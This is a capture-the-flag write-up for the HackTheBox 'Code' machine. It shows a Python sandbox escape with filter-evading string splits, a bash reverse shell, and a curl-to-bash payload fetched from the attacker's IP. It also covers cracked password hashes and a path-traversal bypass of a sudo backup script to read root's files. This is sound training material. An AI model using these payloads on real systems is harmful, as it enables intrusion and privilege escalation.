> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/writeups-ctf/hackthebox/linux-easy/code-hackthebox-writeup.md). # Code HackTheBox Writeup Code HackTheBox Easy Linux machine writeup covering SSTI Exploit – Python Code Editor, SQLite Database Extraction & Hash Cracking, backy.sh Bypass via Path Manipulation (Privilege Escalation), Tar Arc {% embed url="" %} {% hint style="warning" %} **Skills:** * SSTI Exploit – Python Code Editor * SQLite Database Extraction & Hash Cracking * backy.sh Bypass via Path Manipulation (Privilege Escalation) * Tar Archive Extraction from Root Directory {% endhint %} ## Reconnaissance **Workspace Setup:** Set up the workspace by creating three folders to store important content, exploits, and Nmap reconnaissance results.

**VPN Connectivity Check** Check VPN connectivity to ensure stable communication with the target machine.

**Open Port Discovery with Nmap:** Enumerate open ports and export the results to the "allPorts" file in the Nmap directory: ```bash nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 10.10.11.62 -oG allPorts ```

**Open Port Analysis with extractPorts:** Use the extractPorts function to display open ports in a concise format and copy them to the clipboard (22.5000) ```bash nmap -sCV -p22,5000 10.10.11.62 -oN targeted ```

## Exploitation SSTI – Python Code Editor

A Python code editor is discovered on port 5000. During typical injection attempts (`import os`, `exec`, etc.), errors are generated.

To get around the restrictions, we use a loop to identify a class allowing access to the built-in functions (`__builtins__`): ```python for i in range(500): try: x = ''.__class__.__bases__[0].__subclasses__()[i].__init__.__globals__['__buil'+'tins__'] if 'ev'+'al' in x: print(i) except Exception as e: continue ``` > This Python loop attempts to exploit server-side template injection (SSTI) by searching the subclasses of Python's base object (`object`) for a class that exposes the global environment (`__globals__`) through its `__init__` method. At each iteration, it retrieves the built-in functions dictionary (`__builtins__`) by reconstructing its name to avoid simple filtering. If the object contains the `eval` function, the class index is printed. This technique is commonly used to reach dangerous functions such as `eval`, `exec`, and `open`.

### Read `/etc/passwd` Once the object containing `eval` is identified, we execute: {% code overflow="wrap" %} ```python print(''.__class__.__bases__[0].__subclasses__()[80].__init__.__globals__['__buil'+'tins__']['ev'+'al']('__imp'+'ort__("o'+'s").po'+'pen("cat /etc/passwd").re'+'ad()')) ``` {% endcode %} This reveals two users: `martin` and `production`.

### **Reverse Shell** #### Listening on port 443: ```bash nc -nvlp 443 ``` #### Reverse Shell Script : Create an `index.html` file containing: {% code overflow="wrap" %} ```bash #!/bin/bash bash -i >& /dev/tcp/10.10.14.90/443 0>&1 ``` {% endcode %} Launching a web server: ```bash python3 -m http.server 80 ``` Payload injection: {% code overflow="wrap" %} ```bash print(''.__class__.__bases__[0].__subclasses__()[80].__init__.__globals__['__buil'+'tins__']['ev'+'al']('__imp'+'ort__("o'+'s").po'+'pen("curl http://10.10.14.90 | bash").re'+'ad()')) ``` {% endcode %}

#### Terminal Handling: ```bash script /dev/null -c bash # Ctrl+Z stty raw -echo; fg reset xterm export TERM=xterm export SHELL=bash stty rows 44 columns 184 ``` ### Flag user.txt :)

## Privilege Escalation ### SSH access with user `martin`

We discover a `database.db` file. Inspection via SQLite reveals two users (`development`, `martin`) with password hashes. ```sql sqlite3 database.db ```

Users	hashes
development	759b74ce43947f5f4c91aeddc3e5bad3
martin	3de6f30c4a09c27fc71932bfc68474be

Crack the passwords with [CrackStation](https://crackstation.net/), then connect: {% embed url="" %}

Users	hashes
development	development
martin	nafeelswordsmaster

```bash ssh martin@10.10.11.62 ```

### Sudo - backy.sh (script) We learn that `martin` can run `/usr/bin/backy.sh` as root. ```bash sudo -l ```

**The script checks:** * Whether the given JSON file exists, * That each path in `directories_to_archive` is under `/var/` or `/home/`, * Removes `../` sequences via `jq`. ```bash #!/bin/bash if [[ $# -ne 1 ]]; then /usr/bin/echo "Usage: $0 " exit 1 fi json_file="$1" if [[ ! -f "$json_file" ]]; then /usr/bin/echo "Error: File '$json_file' not found." exit 1 fi allowed_paths=("/var/" "/home/") updated_json=$(/usr/bin/jq '.directories_to_archive |= map(gsub("//.//./"; ""))' "$json_file") /usr/bin/echo "$updated_json" > "$json_file" directories_to_archive=$(/usr/bin/echo "$updated_json" | /usr/bin/jq -r '.directories_to_archive[]') is_allowed_path() { local path="$1" for allowed_path in "${allowed_paths[@]}"; do if [[ "$path" == $allowed_path* ]]; then return 0 fi done return 1 } for dir in $directories_to_archive; do if ! is_allowed_path "$dir"; then /usr/bin/echo "Error: $dir is not allowed. Only directories under /var/ and /home/ are allowed." exit 1 fi done /usr/bin/backy "$json_file" ``` **Bypass:** We configure a `pwned.json` file: ```json { "directories_to_archive": [ "/home/....//....//./root/" ], "destination": "/home/martin/pwned" } ``` Execution: ```bash sudo /usr/bin/backy.sh pwned.json ```

Decompression: ```bash tar -xf code_home_.._.._._root_2025_April.tar.bz2 ``` ### Flag root.txt :)

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